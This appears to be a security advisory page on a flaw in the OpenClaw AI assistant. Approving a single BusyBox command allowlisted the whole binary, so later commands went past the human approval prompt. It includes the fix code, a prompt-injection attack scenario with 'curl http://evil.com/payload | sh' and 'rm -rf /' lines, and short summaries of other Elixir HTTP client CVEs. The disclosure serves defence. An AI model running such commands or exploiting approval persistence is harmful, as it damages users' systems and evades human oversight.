Mar 2, 2026·5 min read·18 visits
OpenClaw failed to distinguish between shell multiplexers (like BusyBox) and standard executables. If a user 'always allowed' a benign BusyBox command, the system allowlisted the BusyBox binary path. Attackers could then use BusyBox to run arbitrary malicious commands without user approval.
A high-severity logic vulnerability exists in the OpenClaw AI assistant's execution authorization engine. The flaw resides in the 'allow-always' persistence mechanism, which fails to correctly handle shell multiplexers such as BusyBox and Toybox. By authorizing a single benign command routed through a multiplexer, a user inadvertently grants permanent, blanket execution privileges to the multiplexer binary itself. This allows an attacker or malicious prompt to bypass subsequent user approval prompts and execute arbitrary commands using the same multiplexer binary.
OpenClaw (formerly ClawdBot) implements a 'human-in-the-loop' security model where users must explicitly approve system commands generated by the AI agent. To balance security with usability, the system includes an 'allow-always' feature. When selected, this feature persists the executable path to an allowlist, preventing future prompts for that specific tool.
The vulnerability, identified as GHSA-GWQP-86Q6-W47G, is a Protection Mechanism Failure (CWE-693) within this persistence logic. The system blindly trusted the executable path of the running process without inspecting its arguments. This trust model collapses when the executable is a shell multiplexer—a single binary capable of acting as hundreds of different utilities (e.g., ls, cat, sh, rm) based on invocation arguments.
Because the authorization engine effectively flattened the identity of the command to the binary path (e.g., /bin/busybox), a user granting permission for a harmless operation (like busybox echo) would inadvertently authorize the execution of any command routed through that binary.
The root cause is a logic error in the identification of the 'process' being authorized. In standard Unix environments, most executables perform a single, well-defined function. However, multicall binaries like BusyBox and Toybox function as dispatch wrappers. They use the first argument (argv[0] or argv[1]) to determine which internal applet to execute.
Prior to version 2026.2.22-3, OpenClaw's authorization engine retrieved the absolute path of the executable and used it as the primary key for the allowlist. When a user approved a command like busybox sh -c 'date', the system stored /bin/busybox in the persistent configuration.
When a subsequent request arrived to execute busybox sh -c 'rm -rf /', the system performed a lookup for /bin/busybox. Finding a match in the allowlist, it permitted execution immediately, bypassing the user prompt. The system failed to recognize that for multiplexers, the security boundary lies not in the binary itself, but in the arguments passed to it.
The remediation involved introducing a recursive unwrapping mechanism to identify the true target of a command. The fix prevents the system from blindly allowlisting known multiplexers.
The following code from src/infra/exec-wrapper-resolution.ts demonstrates the new logic used to unwrap these invocations:
export function unwrapKnownShellMultiplexerInvocation(argv: string[]): ShellMultiplexerUnwrapResult {
const token0 = argv[0]?.trim();
const wrapper = normalizeExecutableToken(token0);
// 1. Identify if the binary is a known multiplexer (BusyBox/Toybox)
if (!SHELL_MULTIPLEXER_WRAPPER_CANONICAL.has(wrapper)) {
return { kind: "not-wrapper" };
}
// 2. Parse the arguments to find the applet (inner command)
let appletIndex = 1;
if (argv[appletIndex]?.trim() === "--") { appletIndex += 1; }
const applet = argv[appletIndex]?.trim();
// 3. Fail safe: If we can't identify the applet, block the persistence
if (!applet || !isShellWrapperExecutable(applet)) {
return { kind: "blocked", wrapper };
}
// 4. Return the inner command for processing/allowlisting
return { kind: "unwrapped", wrapper, argv: argv.slice(appletIndex) };
}Instead of persisting the wrapper (token0), the system now recursively resolves the arguments until it finds a non-multiplexer executable. If a user authorizes busybox echo hello, the system now persists the path to the echo binary (or internal representation) rather than busybox.
An attacker can exploit this vulnerability through a three-stage process involving social engineering or prompt injection:
Luring: The attacker (via a malicious skill or prompt) triggers a benign command using a multiplexer. For example: busybox ping -c 1 8.8.8.8. The user sees a prompt asking to approve the network check.
Persistence: Trusting the operation, the user selects "Always allow" to avoid future prompts for connectivity checks. The system writes /bin/busybox to the security.allowlist.
Execution: The attacker subsequently issues a malicious command: busybox sh -c 'curl http://evil.com/payload | sh'. The authorization engine checks the binary path, matches /bin/busybox against the allowlist, and executes the payload silently.
This technique maps to MITRE ATT&CK T1548 (Abuse Elevation Control Mechanism) and T1204.002 (User Execution: Malicious File), relying on the user's trust to break the security boundary.
The impact of this vulnerability is critical for the integrity of the OpenClaw sandbox. By design, OpenClaw has access to the host system to perform tasks. The user approval prompt is the primary defense against rogue AI behavior or prompt injection attacks.
Consequences of Exploitation:
cat, wget, nc).The vulnerability specifically undermines the Defense in Depth strategy, rendering the "human-in-the-loop" control ineffective against sophisticated attacks leveraging standard system utilities.
Users must upgrade to openclaw version 2026.2.22-3 or later immediately. This version implements the unwrapKnownShellMultiplexerInvocation logic to correctly handle multi-call binaries.
Critical Post-Update Step: Updating the software prevents new insecure entries but does not automatically remove existing insecure entries. Administrators must audit and clear the existing allowlist:
security.allowlist configuration./bin/busybox, /usr/bin/busybox, or /bin/toybox.For high-security environments, it is recommended to restrict the availability of shell multiplexers in the environment path where OpenClaw operates, or use containerization to limit the blast radius of executed commands.
| Product | Affected Versions | Fixed Version |
|---|---|---|
openclaw openclaw | <= 2026.2.22-2 | 2026.2.22-3 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Execution Approval Bypass |
| CWE ID | CWE-693 (Protection Mechanism Failure) |
| Affected Component | Authorization Engine / Persistence Layer |
| Attack Vector | Local / User-Assisted |
| Impact | Arbitrary Code Execution |
| Severity | High |
CVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.
An Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling) vulnerability in the Elixir Mint HTTP client allows attacker-controlled HTTP/1 servers to desynchronize response framing on shared connections due to over-lenient parsing of sign-prefixed Content-Length headers.
An allocation of resources without limits or throttling vulnerability in Elixir Mint allows an attacker-controlled HTTP/2 server to exhaust memory in a Mint client. The vulnerability is exploited by sending a HEADERS frame without the END_HEADERS flag followed by an infinite stream of CONTINUATION frames. Because the client lacks limits on the incoming header-block accumulator, the client continuously consumes memory until an out-of-memory crash occurs.
CVE-2026-48596 is an Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting, CWE-113) in the Elixir Tesla HTTP client. The flaw resides in how multipart content-type parameters are joined and serialized, enabling attackers to inject arbitrary headers or split HTTP requests when applications pass untrusted inputs to the parameters of multipart uploads.
An improper handling of highly compressed data (decompression bomb) vulnerability exists in the Elixir Tesla HTTP client when utilizing response decompression middlewares. By serving highly compressed responses or stacked content-encoding headers, a malicious server can cause arbitrary heap exhaustion, leading to a denial of service (DoS) crash in the BEAM virtual machine.
A high-severity security vulnerability in Elixir's Tesla HTTP client library (CVE-2026-48595) allows unauthenticated remote attackers to harvest sensitive credentials, including Authorization headers and cookies. The flaw resides in the 'Tesla.Middleware.FollowRedirects' component, which performs case-sensitive lookups when stripping credentials during cross-origin redirects. Because HTTP headers are case-insensitive by RFC specifications, standard canonical casing (e.g., 'Authorization') bypasses the lowercase-only blocklist, leaking tokens to untrusted external redirect destinations.